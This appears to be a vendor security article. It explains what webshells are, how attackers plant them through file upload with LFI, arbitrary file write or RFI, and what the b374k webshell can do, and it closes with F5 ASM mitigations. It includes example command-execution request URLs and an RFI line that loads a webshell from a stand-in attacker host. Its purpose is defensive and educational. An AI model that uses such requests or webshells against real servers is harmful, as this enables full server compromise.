Webshells

Webshells are web scripts (PHP/ASPX/etc.) that act as a control panel for the server running them.
A webshell may be legitimately used by the administrator to perform actions on the server, such as:

• Create a user
• Restart a service
• Clean up disk space
• Read logs
• More…

Therefore, a webshell simplifies server management for administrators that are not familiar with (or are less comfortable with) internal system commands using the console.
However, webshells have bad connotations as well – they are a very popular post-exploitation tool that allow an attacker to gain full system control.

Webshell Examples

An example of a webshell may be as simple as the following script:

This script will read a user-provided value and pass it on to the underlying operating system as a shell command.
For instance, issuing the following request will invoke the ‘ls’ command and print the result to the screen:
http://example.com/webshell.php?q=ls

An even simpler example for a webshell may be this:

This script will simply use the contents of the parameter “q” and evaluate it as pure PHP code.
Example: http://example.com/webshell.php?q=echo%20("hello%20world")%3B

From this point, the options are limitless.
An attacker that uses a webshell on a compromised server effectively has full control over the application.
If the web application is running under root – the attacker has full control over the entire web server as well.
In many cases, the neighboring servers on the local network are at risk as well.

How does a webshell attack work?

We’ve now seen that a webshell script is a very powerful tool.
However, a webshell is a “post-exploitation” tool – meaning an attacker first has to find a vulnerability in the web application, exploit it, and upload their webshell onto the server.
One way to achieve this is by first uploading the webshell through a legitimate file upload page (for instance, a CV submission form on a company website) and then using an LFI (Local File Include) weakness in the application to include the webshell in one of the pages.

A different approach may be an application vulnerable to arbitrary file write.
An attacker may simply write the code to a new file on the server.

Another example may be an RFI (Remote File Include) weakness in the application that effectively eliminates the need to upload the webshell on to the server.
An attacker may host the webshell on a completely different server, and force the application to include it, like this:
http://vulnerable.com/rfi.php?include=http://attacker.com/webshell.php

The b374k webshell

There are many and various implementations of webshells.
As mentioned, those are not always meant to be used by attackers, but also by system administrators.

Some of the “suspicious” webshells that are more popular with attackers are the following:

• c99
• r57
• c100
• PHPjackal
• Locus

In this article we will explore an open source webshell called b374k (https://github.com/b374k/b374k).

From the readme:
This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser

Features:

• File manager (view, edit, rename, delete, upload, download, archiver, etc)
• Search file, file content, folder (also using regex)
• Command execution
• More…

Once we get the webshell up and running, we can view information and perform actions on the server.
Listed below are a few use cases for this webshell that will demonstrate the power of webshells and how attackers can benefit from running them on a compromised web server:

1. View process information and varied system information.

1. Open a terminal and execute various commands, or open a code evaluator to run arbitrary code.

1. Open a reverse shell on the server, to make sure access to the server is preserved.
   Issue outgoing HTTP requests from the server.

1. Perform social engineering activities to broaden the scope of the attack.

Mitigation using F5 ASM

The F5 ASM module uses detection and prevention methods for each variation of this attack.

For RFI (Remote File Include):

• ASM will detect any request that attempts to include an external URL, and prevent access.

For Unrestricted File Upload + LFI (Local File Include):

• During upload or creation attempt of the webshell, ASM will detect the active code and prevent it from reaching the server.
• If the webshell is already on the server, ASM will detect when the application tries to reach the file using LFI and prevent access.
• If the webshell is already on the server and part of the application, ASM will detect when a suspicious page is requested, and prevent that page from being displayed.